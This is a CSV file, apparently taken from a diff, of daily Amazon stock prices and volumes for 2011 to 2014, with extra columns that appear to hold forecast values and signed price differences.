+2011-03-04,172.6199951171875,172.75,169.50999450683594,171.6699981689453,171.6699981689453,4924300,AMZN,180.24039,170.97999572753906,-0.69000244140625,0.0
+2011-03-08,169.38999938964844,169.7100067138672,166.72000122070312,166.88999938964844,166.88999938964844,4219000,AMZN,170.2142,174.6199951171875,7.7299957275390625,0.0
+2011-03-10,167.07000732421875,168.47000122070312,164.82000732421875,166.13999938964844,166.13999938964844,5998400,AMZN,172.10503,180.1300048828125,13.990005493164062,0.0
+2011-03-14,166.60000610351562,168.0800018310547,164.57000732421875,166.72999572753906,166.72999572753906,4022000,AMZN,170.67679,182.94000244140625,16.210006713867188,0.0
+2011-03-22,164.07000732421875,164.44000244140625,162.25,162.60000610351562,162.60000610351562,3611400,AMZN,169.26108,180.47999572753906,17.879989624023438,0.0
+2011-03-24,168.2100067138672,172.0,167.36000061035156,171.10000610351562,171.10000610351562,6283200,AMZN,174.75645,181.82000732421875,10.720001220703125,0.0
+2011-03-30,177.77999877929688,181.16000366210938,177.66000366210938,179.4199981689453,179.4199981689453,6859300,AMZN,183.3933,183.8699951171875,4.4499969482421875,0.0
+2011-04-01,181.5800018310547,183.25,178.58999633789062,180.1300048828125,180.1300048828125,5684100,AMZN,185.0152,185.4199981689453,5.2899932861328125,0.0
+2011-04-04,180.88999938964844,183.61000061035156,180.69000244140625,182.94000244140625,182.94000244140625,4186400,AMZN,184.28267,182.3000030517578,-0.6399993896484375,0.0
+2011-04-11,184.86000061035156,186.49000549316406,181.85000610351562,184.0399932861328,184.0399932861328,3297100,AMZN,190.67574,198.4499969482422,14.410003662109375,0.0
+2011-04-15,181.0,181.77999877929688,179.02000427246094,180.00999450683594,180.00999450683594,4272400,AMZN,188.58339,200.8000030517578,20.790008544921875,0.0
+2011-04-19,178.35000610351562,179.47000122070312,176.60000610351562,178.82000732421875,178.82000732421875,2646000,AMZN,184.74611,204.3800048828125,25.55999755859375,0.0
+2011-04-20,181.6199951171875,185.0,181.58999633789062,183.8699951171875,183.8699951171875,4067500,AMZN,192.09955,206.07000732421875,22.20001220703125,0.0
+2011-04-26,186.27000427246094,186.4199981689453,180.74000549316406,182.3000030517578,182.3000030517578,11200000,AMZN,184.17899,194.80999755859375,12.509994506835938,0.0
+2011-04-29,194.3800048828125,196.58999633789062,193.77999877929688,195.80999755859375,195.80999755859375,6640900,AMZN,203.04544,198.64999389648438,2.839996337890625,0.0
+2011-05-11,203.1199951171875,205.5,202.25,204.3800048828125,204.3800048828125,4809000,AMZN,211.60422,193.64999389648438,-10.730010986328125,0.0
+2011-05-18,194.1300048828125,198.27999877929688,193.25,197.08999633789062,197.08999633789062,4955800,AMZN,205.03293,189.67999267578125,-7.410003662109375,0.0
+2011-05-20,197.9499969482422,199.8000030517578,197.24000549316406,198.64999389648438,198.64999389648438,3381000,AMZN,207.59091,186.2899932861328,-12.360000610351562,0.0
+2011-05-23,195.55999755859375,197.2899932861328,192.02000427246094,196.22000122070312,196.22000122070312,4200000,AMZN,198.18716,189.9600067138672,-6.2599945068359375,0.0
+2011-05-25,193.57000732421875,194.35000610351562,191.13999938964844,192.25999450683594,192.25999450683594,4661300,AMZN,198.67902,183.64999389648438,-8.610000610351562,0.0
+2011-05-31,195.94000244140625,198.44000244140625,195.02999877929688,196.69000244140625,196.69000244140625,3409000,AMZN,202.88202,194.22999572753906,-2.4600067138671875,0.0
+2011-06-06,188.00999450683594,189.85000610351562,185.17999267578125,185.69000244140625,185.69000244140625,3716000,AMZN,191.668,201.25,15.55999755859375,0.0
+2011-06-08,187.4499969482422,189.80999755859375,186.32000732421875,188.0500030517578,188.0500030517578,3716600,AMZN,195.80432,204.17999267578125,16.129989624023438,0.0
+2011-06-16,185.74000549316406,187.0,181.58999633789062,183.64999389648438,183.64999389648438,6032100,AMZN,188.0365,218.27999877929688,34.6300048828125,0.0
+2011-06-23,189.5,194.4600067138672,188.3000030517578,194.16000366210938,194.16000366210938,4609600,AMZN,194.19954,212.8699951171875,18.709991455078125,0.0
+2011-06-24,193.8800048828125,194.9199981689453,191.35000610351562,192.5500030517578,192.5500030517578,3614500,AMZN,194.89572,211.52999877929688,18.979995727539062,0.0
+2011-06-30,200.77999877929688,205.1999969482422,200.5,204.49000549316406,204.49000549316406,4448100,AMZN,204.31447,216.52000427246094,0.0,-12.029998779296875
+2011-07-05,208.75999450683594,214.4499969482422,208.72999572753906,213.19000244140625,213.19000244140625,3585200,AMZN,218.9976,214.17999267578125,0.989990234375,0.0
+2011-07-12,214.63999938964844,215.64999389648438,211.1199951171875,211.22999572753906,211.22999572753906,3985700,AMZN,218.01416,211.6999969482422,0.470001220703125,0.0
+2011-07-21,216.74000549316406,217.08999633789062,211.07000732421875,213.2100067138672,213.2100067138672,4545300,AMZN,220.23375,198.36000061035156,-14.850006103515625,0.0
+2011-07-25,215.49000549316406,216.0800018310547,213.0,213.49000549316406,213.49000549316406,3342800,AMZN,219.34833,202.9499969482422,-10.540008544921875,0.0
+2011-07-27,224.38999938964844,227.1999969482422,219.6199951171875,222.52000427246094,222.52000427246094,12955600,AMZN,229.56541,195.92999267578125,-26.590011596679688,0.0
+2011-08-15,202.05999755859375,205.27999877929688,198.32000732421875,202.9499969482422,202.9499969482422,4785900,AMZN,206.50603,216.17999267578125,13.229995727539062,0.0
+2011-08-17,198.52999877929688,199.60000610351562,193.74000549316406,195.92999267578125,195.92999267578125,3991100,AMZN,195.08961,217.25999450683594,0.0,-21.330001831054688
+2011-08-22,182.8300018310547,184.1999969482422,177.10000610351562,177.5399932861328,177.5399932861328,5313700,AMZN,186.91615,219.52999877929688,41.99000549316406,0.0
+2011-08-25,194.41000366210938,196.99000549316406,191.07000732421875,192.02999877929688,192.02999877929688,3760800,AMZN,200.18008,239.3000030517578,47.27000427246094,0.0
+2011-09-07,218.8000030517578,220.19000244140625,214.22000122070312,219.89999389648438,219.89999389648438,5295800,AMZN,226.48885,229.7100067138672,9.810012817382812,0.0
+2011-09-30,218.19000244140625,223.0,215.2100067138672,216.22999572753906,216.22999572753906,6550300,AMZN,220.35608,234.77999877929688,18.550003051757812,0.0
+2011-10-12,236.63999938964844,241.83999633789062,234.3300018310547,236.80999755859375,236.80999755859375,6510800,AMZN,238.6449,215.6199951171875,-21.19000244140625,0.0
+2011-10-28,206.52999877929688,218.39999389648438,205.75,217.32000732421875,217.32000732421875,9880400,AMZN,232.90738,197.13999938964844,-20.180007934570312,0.0
+2011-11-04,217.64999389648438,218.22999572753906,214.3300018310547,216.47999572753906,216.47999572753906,4065800,AMZN,220.93571,194.14999389648438,-22.330001831054688,0.0
+2011-11-11,212.52000427246094,217.8800048828125,210.30999755859375,217.38999938964844,217.38999938964844,5163100,AMZN,218.82733,196.24000549316406,-21.149993896484375,0.0
+2011-11-18,205.3300018310547,205.33999633789062,197.11000061035156,197.13999938964844,197.13999938964844,8437500,AMZN,202.35474,189.52000427246094,-7.6199951171875,0.0
+2011-11-25,190.41000366210938,190.8300018310547,181.50999450683594,182.39999389648438,182.39999389648438,4972000,AMZN,197.46391,181.25999450683594,-1.1399993896484375,0.0
+2011-11-30,194.75999450683594,195.3000030517578,188.75,192.2899932861328,192.2899932861328,7717000,AMZN,196.25616,174.35000610351562,-17.939987182617188,0.0
+2011-12-22,175.08999633789062,179.6699981689453,174.2100067138672,179.02999877929688,179.02999877929688,4694900,AMZN,180.99892,181.66000366210938,2.6300048828125,0.0
+2012-01-06,178.07000732421875,184.64999389648438,177.5,182.61000061035156,182.61000061035156,7008400,AMZN,181.72557,192.14999389648438,0.0,-9.539993286132812
+2012-01-27,193.08999633789062,196.5,192.3300018310547,195.3699951171875,195.3699951171875,4659000,AMZN,204.4492,182.5,-12.8699951171875,0.0
+2012-01-31,194.0,195.6300048828125,189.6999969482422,194.44000244140625,194.44000244140625,12772200,AMZN,193.87927,180.5800018310547,0.0,13.860000610351562
+2012-02-16,177.7899932861328,181.67999267578125,175.13999938964844,179.92999267578125,179.92999267578125,12563800,AMZN,176.17516,184.32000732421875,0.0,-4.3900146484375
+2012-02-17,180.08999633789062,183.41000366210938,179.36000061035156,182.5,182.5,7418100,AMZN,182.41835,183.38999938964844,0.0,-0.8899993896484375
+2012-02-28,178.89999389648438,184.2899932861328,177.9499969482422,183.8000030517578,183.8000030517578,5764500,AMZN,188.6705,192.3300018310547,8.529998779296875,0.0
+2012-03-02,179.47999572753906,181.83999633789062,178.9199981689453,179.3000030517578,179.3000030517578,3657800,AMZN,182.87627,195.0399932861328,15.739990234375,0.0
+2012-03-09,186.7899932861328,187.1999969482422,183.44000244140625,184.32000732421875,184.32000732421875,4510600,AMZN,190.14557,202.50999450683594,18.189987182617188,0.0
+2012-03-13,183.9199981689453,184.8699951171875,180.77000427246094,184.58999633789062,184.58999633789062,4405800,AMZN,186.35893,199.66000366210938,15.07000732421875,0.0
+2012-03-29,201.27999877929688,205.30999755859375,200.6300048828125,204.61000061035156,204.61000061035156,5711200,AMZN,203.24518,189.97999572753906,0.0,14.6300048828125
+2012-03-30,205.02000427246094,206.85000610351562,201.8699951171875,202.50999450683594,202.50999450683594,4438100,AMZN,204.65611,188.24000549316406,-14.269989013671875,0.0
+2012-04-11,189.6300048828125,191.97000122070312,186.7899932861328,187.97000122070312,187.97000122070312,4337800,AMZN,196.21167,230.25,42.279998779296875,0.0
+2012-04-16,189.00999450683594,189.47000122070312,183.64999389648438,185.5,185.5,4044300,AMZN,192.32907,225.16000366210938,39.660003662109375,0.0
+2012-04-27,224.8300018310547,228.69000244140625,220.22000122070312,226.85000610351562,226.85000610351562,22116900,AMZN,232.17065,213.85000610351562,-13.0,0.0
+2012-05-01,229.39999389648438,232.97000122070312,228.39999389648438,230.0399932861328,230.0399932861328,6754900,AMZN,231.78062,215.3300018310547,-14.709991455078125,0.0
+2012-05-14,225.60000610351562,227.2899932861328,222.50999450683594,222.92999267578125,222.92999267578125,3096600,AMZN,233.97481,213.2100067138672,-9.719985961914062,0.0
+2012-05-25,214.99000549316406,215.97999572753906,212.22000122070312,212.88999938964844,212.88999938964844,2171400,AMZN,218.91884,222.6600036621094,9.770004272460966,0.0
+2012-06-01,208.44000244140625,211.22999572753906,207.3000030517578,208.22000122070312,208.22000122070312,3951500,AMZN,213.7345,222.16000366210938,13.94000244140625,0.0
+2012-06-05,213.85000610351562,216.86000061035156,211.16000366210938,213.2100067138672,213.2100067138672,3543900,AMZN,220.1331,225.61000061035153,12.399993896484347,0.0
+2012-06-06,214.6300048828125,218.39999389648438,214.52000427246094,217.63999938964844,217.63999938964844,2710100,AMZN,222.18869,225.6199951171875,7.9799957275390625,0.0
+2012-06-07,219.64999389648438,221.49000549316406,218.11000061035156,218.8000030517578,218.8000030517578,3503900,AMZN,223.32893,221.30999755859375,2.5099945068359375,0.0
+2012-06-11,217.49000549316406,220.8699951171875,215.1999969482422,216.5,216.5,3749100,AMZN,218.21165,229.32000732421875,12.82000732421875,0.0
+2012-06-12,217.64999389648438,218.0,214.52000427246094,216.4199981689453,216.4199981689453,2833300,AMZN,218.93327,229.5299987792969,13.110000610351591,0.0
+2012-06-13,215.52000427246094,217.3800048828125,213.52000427246094,214.72999572753906,214.72999572753906,2325200,AMZN,219.76077,227.05999755859375,12.330001831054688,0.0
+2012-06-14,215.25999450683594,216.5,212.55999755859375,214.4499969482422,214.4499969482422,3060900,AMZN,219.81233,225.0500030517578,10.600006103515625,0.0
+2012-07-02,229.3000030517578,229.33999633789062,226.33999633789062,229.32000732421875,229.32000732421875,2330700,AMZN,236.44125,223.0399932861328,-6.2800140380859375,0.0
+2012-07-03,229.13999938964844,229.52999877929688,227.58999633789062,229.52999877929688,229.52999877929688,1331700,AMZN,237.0195,217.0500030517578,-12.479995727539062,0.0
+2012-07-12,216.61000061035156,217.3000030517578,212.61000061035156,215.36000061035156,215.36000061035156,2616200,AMZN,220.66805,230.80999755859378,15.449996948242216,0.0
+2012-07-13,215.6300048828125,219.30999755859375,213.8800048828125,218.38999938964844,218.38999938964844,2221900,AMZN,224.31313,234.97000122070312,16.580001831054688,0.0
+2012-07-17,217.4499969482422,217.94000244140625,213.9600067138672,216.92999267578125,216.92999267578125,1987000,AMZN,224.50012,236.55999755859378,19.63000488281253,0.0
+2012-07-19,220.72999572753906,227.5,220.69000244140625,226.1699981689453,226.1699981689453,5449400,AMZN,229.89471,234.05999755859372,7.889999389648409,0.0
+2012-07-25,222.0,222.5,215.91000366210938,217.0500030517578,217.0500030517578,3646700,AMZN,218.98743,237.4199981689453,20.3699951171875,0.0
+2012-07-30,237.0,240.74000549316406,234.07000732421875,236.08999633789062,236.08999633789062,3736400,AMZN,251.49478,240.35000610351562,4.260009765625,0.0
+2012-08-16,237.72000122070312,242.82000732421875,236.1999969482422,241.5500030517578,241.5500030517578,4312100,AMZN,248.0019,259.1400146484375,17.590011596679688,0.0
+2012-08-17,240.60000610351562,243.35000610351562,240.47000122070312,241.1699981689453,241.1699981689453,3085800,AMZN,249.74017,257.0899963378906,15.919998168945312,0.0
+2012-08-28,243.97000122070312,246.77999877929688,243.0,246.11000061035156,246.11000061035156,2742300,AMZN,250.44012,261.67999267578125,15.569992065429688,0.0
+2012-09-05,247.61000061035156,248.61000061035156,245.3000030517578,246.22000122070312,246.22000122070312,2652600,AMZN,251.96297,249.66999816894528,3.449996948242159,0.0
+2012-09-11,257.6000061035156,257.6000061035156,254.25999450683594,255.6699981689453,255.6699981689453,2524800,AMZN,259.60245,250.60000610351562,-5.0699920654296875,0.0
+2012-09-19,259.45001220703125,262.8399963378906,258.5299987792969,261.67999267578125,261.67999267578125,2636800,AMZN,264.27295,244.99000549316406,-16.689987182617188,0.0
+2012-09-24,255.22000122070312,255.60000610351562,253.0,254.8000030517578,254.8000030517578,2707900,AMZN,259.88992,244.17999267578125,-10.620010375976562,0.0
+2012-09-25,256.3299865722656,258.95001220703125,251.02999877929688,252.4600067138672,252.4600067138672,4405800,AMZN,258.61148,243.94000244140628,-8.520004272460909,0.0
+2012-10-19,245.16000366210938,246.82000732421875,238.94000244140625,240.0,240.0,4395300,AMZN,246.15735,226.60000610351562,-13.399993896484375,0.0
+2012-10-25,230.9199981689453,230.9199981689453,222.9199981689453,222.9199981689453,222.9199981689453,6741300,AMZN,232.60931,229.7100067138672,6.790008544921875,0.0
+2012-10-26,228.60000610351562,238.7100067138672,226.69000244140625,238.24000549316406,238.24000549316406,11367500,AMZN,238.2442,233.7799987792969,-4.460006713867159,0.0
+2012-11-06,235.41000366210938,237.75,234.4499969482422,237.55999755859375,237.55999755859375,2661300,AMZN,239.07674,247.11000061035156,9.550003051757812,0.0
+2012-11-08,232.22000122070312,233.4499969482422,227.10000610351562,227.35000610351562,227.35000610351562,2982400,AMZN,230.80453,252.0500030517578,24.699996948242188,0.0
+2012-11-15,222.3000030517578,225.16000366210938,218.17999267578125,220.60000610351562,220.60000610351562,3404700,AMZN,226.12991,253.27000427246094,32.66999816894531,0.0
+2012-11-16,221.30999755859375,226.25,218.63999938964844,225.22999572753906,225.22999572753906,4352800,AMZN,228.19046,247.77000427246094,22.540008544921875,0.0
+2012-11-28,242.4499969482422,247.22999572753906,241.5,247.11000061035156,247.11000061035156,2743400,AMZN,248.77026,257.989990234375,10.879989624023438,0.0
+2012-12-06,253.0,255.1699981689453,251.50999450683594,253.3699951171875,253.3699951171875,3557900,AMZN,260.15378,245.17999267578122,-8.190002441406278,0.0
+2012-12-10,253.10000610351562,254.77999877929688,247.3000030517578,247.77000427246094,247.77000427246094,3503800,AMZN,256.17853,257.30999755859375,9.539993286132812,0.0
+2012-12-11,248.5,253.47999572753906,246.64999389648438,250.69000244140625,250.69000244140625,4185200,AMZN,254.7318,258.4800109863281,7.790008544921875,0.0
+2012-12-21,257.82000732421875,258.3800048828125,255.74000549316406,256.9200134277344,256.9200134277344,4704600,AMZN,257.29587,271.8999938964844,14.97998046875,0.0
+2012-12-24,257.29998779296875,259.5,256.9599914550781,258.6199951171875,258.6199951171875,984400,AMZN,260.17685,268.92999267578125,10.30999755859375,0.0
+2013-01-17,271.5,271.9700012207031,269.2099914550781,270.4800109863281,270.4800109863281,1884600,AMZN,274.15005,261.95001220703125,-8.529998779296875,0.0
+2013-01-28,283.7799987792969,284.4800109863281,274.3999938964844,276.0400085449219,276.0400085449219,4321400,AMZN,289.24258,269.75,-6.290008544921875,0.0
+2013-02-04,262.7799987792969,264.67999267578125,259.07000732421875,259.9800109863281,259.9800109863281,3723600,AMZN,263.81998,259.3599853515625,-0.620025634765625,0.0
+2013-02-06,265.1600036621094,266.8900146484375,261.1099853515625,262.2200012207031,262.2200012207031,2770400,AMZN,270.81177,264.2699890136719,2.04998779296875,0.0
+2013-02-27,259.3999938964844,265.8299865722656,256.8599853515625,263.25,263.25,2908100,AMZN,267.51785,257.2799987792969,-5.970001220703125,0.0
+2013-03-14,269.6700134277344,270.0,263.5299987792969,265.739990234375,265.739990234375,5226700,AMZN,271.85266,255.47999572753906,-10.259994506835938,0.0
+2013-03-19,258.3999938964844,259.5,252.6199951171875,256.4100036621094,256.4100036621094,3738500,AMZN,264.5454,264.7699890136719,8.3599853515625,0.0
+2013-03-21,256.1099853515625,257.0,252.67999267578125,253.38999938964844,253.38999938964844,2806400,AMZN,262.80948,272.8699951171875,19.479995727539062,0.0
+2013-03-28,265.82000732421875,267.3800048828125,264.05999755859375,266.489990234375,266.489990234375,2473700,AMZN,270.02582,260.32000732421875,-6.16998291015625,0.0
+2013-04-01,266.9800109863281,267.3999938964844,261.010009765625,261.6099853515625,261.6099853515625,2524800,AMZN,266.07535,263.54998779296875,1.94000244140625,0.0
+2013-04-10,261.7799987792969,265.9800109863281,259.32000732421875,264.7699890136719,264.7699890136719,2322500,AMZN,271.62955,248.22999572753906,-16.539993286132812,0.0
+2013-04-11,264.739990234375,270.9700012207031,264.739990234375,269.8500061035156,269.8500061035156,3090500,AMZN,274.63528,252.55000305175784,-17.300003051757784,0.0
+2013-04-29,254.89999389648438,257.010009765625,249.14999389648438,249.74000549316406,249.74000549316406,7117000,AMZN,251.11382,267.6300048828125,17.889999389648438,0.0
+2013-05-01,253.89999389648438,254.1999969482422,245.75,248.22999572753906,248.22999572753906,4391400,AMZN,259.94662,262.9599914550781,14.729995727539062,0.0
+2013-05-14,264.5,269.3999938964844,264.0299987792969,268.3299865722656,268.3299865722656,2700000,AMZN,269.41,267.1700134277344,-1.15997314453125,0.0
+2013-05-17,265.8299865722656,269.9800109863281,265.0,269.8999938964844,269.8999938964844,2527300,AMZN,271.3893,281.07000732421875,11.170013427734375,0.0
+2013-05-21,268.739990234375,270.7699890136719,267.6600036621094,268.8599853515625,268.8599853515625,1741200,AMZN,275.871,271.6700134277344,2.810028076171875,0.0
+2013-05-23,260.489990234375,263.1700134277344,259.5899963378906,261.79998779296875,261.79998779296875,2000300,AMZN,264.8393,273.989990234375,12.19000244140625,0.0
+2013-05-31,266.0,271.9100036621094,265.94000244140625,269.20001220703125,269.20001220703125,3374300,AMZN,271.62115,273.3599853515625,4.15997314453125,0.0
+2013-06-10,276.67999267578125,282.4700012207031,275.239990234375,281.07000732421875,281.07000732421875,3086500,AMZN,287.41846,282.1000061035156,1.029998779296875,0.0
+2013-06-14,275.0,277.07000732421875,273.44000244140625,273.989990234375,273.989990234375,2150800,AMZN,280.659,290.5899963378906,16.600006103515625,0.0
+2013-06-24,271.2900085449219,273.1600036621094,265.0,270.6099853515625,270.6099853515625,3863800,AMZN,275.47293,306.8699951171875,36.260009765625,0.0
+2013-06-25,272.29998779296875,273.4700012207031,269.0,272.0899963378906,272.0899963378906,2449600,AMZN,279.98584,308.69000244140625,36.600006103515625,0.0
+2013-07-10,291.4100036621094,293.3399963378906,289.3999938964844,292.3299865722656,292.3299865722656,1810200,AMZN,296.9243,301.2200012207031,8.8900146484375,0.0
+2013-08-09,295.67999267578125,299.2699890136719,294.29998779296875,297.260009765625,297.260009765625,1950300,AMZN,301.80646,280.9800109863281,-16.279998779296875,0.0
+2013-08-15,288.7900085449219,289.29998779296875,285.1499938964844,286.4700012207031,286.4700012207031,2261400,AMZN,289.92093,295.8599853515625,9.389984130859375,0.0
+2013-08-19,285.19000244140625,289.55999755859375,283.4800109863281,285.57000732421875,285.57000732421875,2477400,AMZN,291.9336,300.3599853515625,14.78997802734375,0.0
+2013-08-20,285.8800048828125,289.510009765625,285.739990234375,287.0899963378906,287.0899963378906,1586300,AMZN,294.69122,299.6400146484375,12.550018310546875,0.0
+2013-08-21,285.0899963378906,288.5,283.8299865722656,284.57000732421875,284.57000732421875,1815300,AMZN,291.2653,298.8599853515625,14.28997802734375,0.0
+2013-08-26,290.42999267578125,291.04998779296875,285.6199951171875,286.2099914550781,286.2099914550781,1711700,AMZN,292.8689,304.1700134277344,17.96002197265625,0.0
+2013-09-04,288.3299865722656,295.2300109863281,287.5799865722656,293.6400146484375,293.6400146484375,2438600,AMZN,298.04974,312.6499938964844,19.009979248046875,0.0
+2013-09-06,295.3299865722656,298.8800048828125,290.79998779296875,295.8599853515625,295.8599853515625,2292000,AMZN,298.54294,316.010009765625,20.1500244140625,0.0
+2013-09-12,299.3900146484375,302.0,297.6600036621094,298.8599853515625,298.8599853515625,1606200,AMZN,302.73584,314.760009765625,15.9000244140625,0.0
+2013-09-13,300.1400146484375,300.2200012207031,296.20001220703125,297.9200134277344,297.9200134277344,1350600,AMZN,302.5773,319.0400085449219,21.1199951171875,0.0
+2013-09-16,299.82000732421875,301.0,295.260009765625,296.05999755859375,296.05999755859375,1808400,AMZN,302.97952,310.0299987792969,13.970001220703125,0.0
+2013-09-20,312.5400085449219,320.57000732421875,312.4100036621094,316.3399963378906,316.3399963378906,5302300,AMZN,321.49777,310.8900146484375,-5.449981689453125,0.0
+2013-09-25,314.5299987792969,316.7099914550781,310.75,312.6499938964844,312.6499938964844,2008600,AMZN,318.41684,310.489990234375,-2.160003662109375,0.0
+2013-09-30,313.4100036621094,315.30999755859375,311.05999755859375,312.6400146484375,312.6400146484375,1623600,AMZN,317.74088,326.44000244140625,13.79998779296875,0.0
+2013-11-08,345.95001220703125,351.04998779296875,344.0400085449219,350.30999755859375,350.30999755859375,2656900,AMZN,355.11172,392.29998779296875,41.989990234375,0.0
+2013-11-11,350.5899963378906,355.3699951171875,348.05999755859375,354.3800048828125,354.3800048828125,2261700,AMZN,362.9012,384.6600036621094,30.279998779296875,0.0
+2013-11-18,370.2799987792969,373.489990234375,364.6700134277344,366.17999267578125,366.17999267578125,2737400,AMZN,374.39575,387.7799987792969,21.600006103515625,0.0
+2013-12-17,390.6499938964844,391.3599853515625,386.5,387.6499938964844,387.6499938964844,2343900,AMZN,395.52588,401.010009765625,13.360015869140625,0.0
+2014-01-08,398.4700012207031,403.0,396.0400085449219,401.9200134277344,401.9200134277344,2316500,AMZN,406.5545,403.010009765625,1.089996337890625,0.0
+2014-01-10,402.5299987792969,403.760009765625,393.79998779296875,397.6600036621094,397.6600036621094,2679500,AMZN,403.6299,346.1499938964844,-51.510009765625,0.0
+2014-01-17,394.260009765625,403.489990234375,393.6600036621094,399.6099853515625,399.6099853515625,4505100,AMZN,401.48657,360.8699951171875,-38.739990234375,0.0
+2014-01-28,387.3999938964844,394.739990234375,387.1199951171875,394.42999267578125,394.42999267578125,2894500,AMZN,396.81857,347.3800048828125,-47.04998779296875,0.0
+2014-02-04,349.5899963378906,354.0,344.0199890136719,347.95001220703125,347.95001220703125,4812900,AMZN,352.97626,359.79998779296875,11.8499755859375,0.0
+2014-02-05,346.0,349.3699951171875,337.7300109863281,346.45001220703125,346.45001220703125,4435400,AMZN,358.55777,360.1300048828125,13.67999267578125,0.0
+2014-02-06,347.3999938964844,354.82000732421875,347.3999938964844,354.5899963378906,354.5899963378906,3335700,AMZN,362.15125,362.1000061035156,7.510009765625,0.0
+2014-02-07,358.9800109863281,361.79998779296875,352.489990234375,361.0799865722656,361.0799865722656,4330500,AMZN,364.7449,359.7799987792969,-1.29998779296875,0.0
+2014-02-14,359.3399963378906,359.3399963378906,353.3500061035156,357.3500061035156,357.3500061035156,3520200,AMZN,357.8931,370.5299987792969,13.17999267578125,0.0
+2014-03-07,374.5799865722656,374.989990234375,369.5299987792969,372.05999755859375,372.05999755859375,2279800,AMZN,378.1302,338.2900085449219,-33.769989013671875,0.0
+2014-03-12,366.3999938964844,371.1600036621094,363.6099853515625,370.6400146484375,370.6400146484375,2216600,AMZN,372.99573,341.9599914550781,-28.680023193359375,0.0
+2014-03-21,371.0,372.8399963378906,358.3999938964844,360.6199951171875,360.6199951171875,5414100,AMZN,366.6215,311.7300109863281,-48.889984130859375,0.0
+2014-03-24,360.0899963378906,361.5,348.6000061035156,351.8500061035156,351.8500061035156,4873500,AMZN,358.6111,315.9100036621094,-35.94000244140625,0.0
+2014-03-31,342.3999938964844,346.2900085449219,334.05999755859375,336.3699951171875,336.3699951171875,4297500,AMZN,346.17065,329.32000732421875,-7.04998779296875,0.0
+2014-04-02,345.989990234375,348.29998779296875,340.3800048828125,341.9599914550781,341.9599914550781,4475500,AMZN,347.7005,337.1499938964844,-4.80999755859375,0.0
+2014-04-03,341.82000732421875,342.5,328.4599914550781,333.6199951171875,333.6199951171875,6399300,AMZN,335.65564,303.8299865722656,-29.790008544921875,0.0
+2014-04-10,330.6000061035156,331.0,316.5,317.1099853515625,317.1099853515625,6126700,AMZN,326.86972,308.010009765625,-9.0999755859375,0.0
+2014-04-24,329.6700134277344,337.3999938964844,322.95001220703125,337.1499938964844,337.1499938964844,9293700,AMZN,330.39066,295.19000244140625,0.0,41.959991455078125
+2014-05-02,310.4200134277344,313.2900085449219,304.30999755859375,308.010009765625,308.010009765625,3995100,AMZN,314.9602,312.239990234375,4.22998046875,0.0
+2014-05-08,290.82000732421875,295.8800048828125,287.2300109863281,288.32000732421875,288.32000732421875,3848200,AMZN,290.29956,312.54998779296875,24.22998046875,0.0
+2014-05-09,290.57000732421875,293.67999267578125,284.3800048828125,292.239990234375,292.239990234375,4063000,AMZN,296.0422,308.8399963378906,16.600006103515625,0.0
+2014-05-15,298.0199890136719,299.20001220703125,290.3800048828125,295.19000244140625,295.19000244140625,4295100,AMZN,291.38806,329.6700134277344,0.0,-34.480010986328125
+2014-05-21,302.2099914550781,305.9599914550781,301.5199890136719,305.010009765625,305.010009765625,3408800,AMZN,310.0143,325.9100036621094,20.899993896484375,0.0
+2014-05-22,305.04998779296875,308.5400085449219,303.010009765625,304.9100036621094,304.9100036621094,2576800,AMZN,309.9264,326.2699890136719,21.3599853515625,0.0
+2014-05-23,305.4599914550781,312.3500061035156,304.8999938964844,312.239990234375,312.239990234375,3052900,AMZN,312.26978,327.6199951171875,15.3800048828125,0.0
+2014-06-03,305.75,307.9200134277344,305.07000732421875,307.19000244140625,307.19000244140625,2379200,AMZN,310.89682,324.1600036621094,16.970001220703125,0.0
+2014-06-09,331.57000732421875,333.0,325.6499938964844,327.5,327.5,3212200,AMZN,340.81558,324.7799987792969,-2.720001220703125,0.0
+2014-06-13,327.04998779296875,329.29998779296875,323.5299987792969,326.2699890136719,326.2699890136719,2764800,AMZN,328.34772,333.54998779296875,7.279998779296875,0.0
+2014-07-01,325.8599853515625,333.20001220703125,325.1000061035156,332.3900146484375,332.3900146484375,3173600,AMZN,333.92953,358.1400146484375,25.75,0.0
+2014-07-02,333.20001220703125,336.760009765625,331.6600036621094,332.8500061035156,332.8500061035156,2681300,AMZN,340.54843,358.6099853515625,25.759979248046875,0.0
+2014-07-14,347.0299987792969,355.7699890136719,345.3599853515625,355.32000732421875,355.32000732421875,5609900,AMZN,364.93973,313.6499938964844,-41.670013427734375,0.0
+2014-07-18,354.3999938964844,359.67999267578125,352.0799865722656,358.6600036621094,358.6600036621094,3407400,AMZN,356.9072,316.79998779296875,0.0,41.860015869140625
+2014-07-24,359.9800109863281,364.8500061035156,358.5199890136719,358.6099853515625,358.6099853515625,7088700,AMZN,363.4532,333.2099914550781,-25.399993896484375,0.0
+2014-07-29,321.9800109863281,322.8999938964844,319.5,320.0,320.0,2883800,AMZN,337.37906,335.1300048828125,15.1300048828125,0.0
+2014-08-11,318.4800109863281,320.3800048828125,316.8800048828125,318.3299865722656,318.3299865722656,2468600,AMZN,318.24585,342.3800048828125,0.0,-24.050018310546875
+2014-08-18,335.4800109863281,337.79998779296875,333.7699890136719,334.5299987792969,334.5299987792969,2485400,AMZN,335.96286,329.75,-4.779998779296875,0.0
+2014-08-27,342.0899963378906,346.6700134277344,341.3399963378906,343.17999267578125,343.17999267578125,2961600,AMZN,354.9502,325.0,-18.17999267578125,0.0
+2014-09-08,344.5400085449219,345.80999755859375,339.0400085449219,342.3399963378906,342.3399963378906,2955300,AMZN,347.0793,321.82000732421875,-20.519989013671875,0.0
+2014-09-24,324.1700134277344,329.44000244140625,319.55999755859375,328.2099914550781,328.2099914550781,2642200,AMZN,325.49323,305.9700012207031,0.0,22.239990234375
+2014-09-26,320.6000061035156,323.5,317.6400146484375,323.2099914550781,323.2099914550781,3638000,AMZN,323.54,303.6400146484375,-19.569976806640625,0.0
+2014-10-08,316.5799865722656,324.1099853515625,314.1400146484375,322.70001220703125,322.70001220703125,3452800,AMZN,320.25623,294.1199951171875,0.0,28.58001708984375
+2014-10-10,314.0199890136719,317.7699890136719,311.3800048828125,311.3900146484375,311.3900146484375,3681900,AMZN,317.95612,305.4599914550781,-5.930023193359375,0.0
+2014-10-17,307.1499938964844,309.20001220703125,302.7200012207031,303.6400146484375,303.6400146484375,4405100,AMZN,310.78485,299.8599853515625,-3.780029296875,0.0
+2014-10-22,315.42999267578125,318.9800109863281,312.6400146484375,312.9700012207031,312.9700012207031,3125900,AMZN,319.92535,311.510009765625,-1.459991455078125,0.0
